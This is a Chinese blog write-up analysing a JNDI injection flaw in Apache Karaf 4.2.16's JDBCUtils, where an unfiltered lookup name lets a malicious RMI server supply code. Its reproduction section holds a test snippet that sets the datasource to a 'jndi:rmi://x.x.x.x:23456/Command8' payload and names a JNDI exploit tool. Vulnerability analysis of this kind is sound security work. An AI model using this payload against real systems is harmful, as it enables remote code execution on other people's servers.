漏洞深度分析|Apache Karaf 4.2.16 存在JNDI 注入漏洞

项目地址

GitHub - apache/karaf: Mirror of Apache Karaf

项目介绍

Apache Karaf是一个模块化运行时,支持多种框架和编程模型(REST/API、web、spring boot 等)。它提供了统包功能,您可以毫不费力地直接利用这些功能,打包为可变或不可变的应用程序。

项目版本

4.2.16

漏洞分析

该项目重写 JDBCUtils 作为连接数据库功能;在 jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils 使用了 jndi 协议测试链接是否正常访问,但是在 doCreateDatasource 函数中调用了 ic.lookup(jndiName) 来初始化查找数据库

 

lookup存在两个重载

看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx

lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例

For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory

而我们可以控制 lookup 函数的参数,使客户端访问提前设置好的恶意的 RMI 服务链接来加载恶意的对象class 字节码文件来实例化,从而执行代码,完成利用。

该类并不存在任何黑/白名单对用户传入进行过滤,用户可直接传入rmi 恶意链接执行命令。确定该处存在 jndi注入,可被利用导致命令执行

漏洞复现

该项目无web界面,利用方式可使用官方提供的Test类进行测试。 测试类为 JdbcLoginModuleTest

该项目测试类并没有测试 jndi 协议,而是测试 osgi 协议。为了复现我们需要更改为 jndi 协议。代码如下所示

        options = new HashMap<>();
//        options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());
        options.put(JDBCUtils.DATASOURCE, "jndi:rmi://x.x.x.x:23456/Command8");
        options.put(BundleContext.class.getName(), context);

因为是jndi注入,需要配置注入payload及工具,以 JNDI-1.0-all.jar 为例,无需配置相关选项,仅使用默认 config.properties 即可弹出计算器

修复方式

升级到最新版本

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值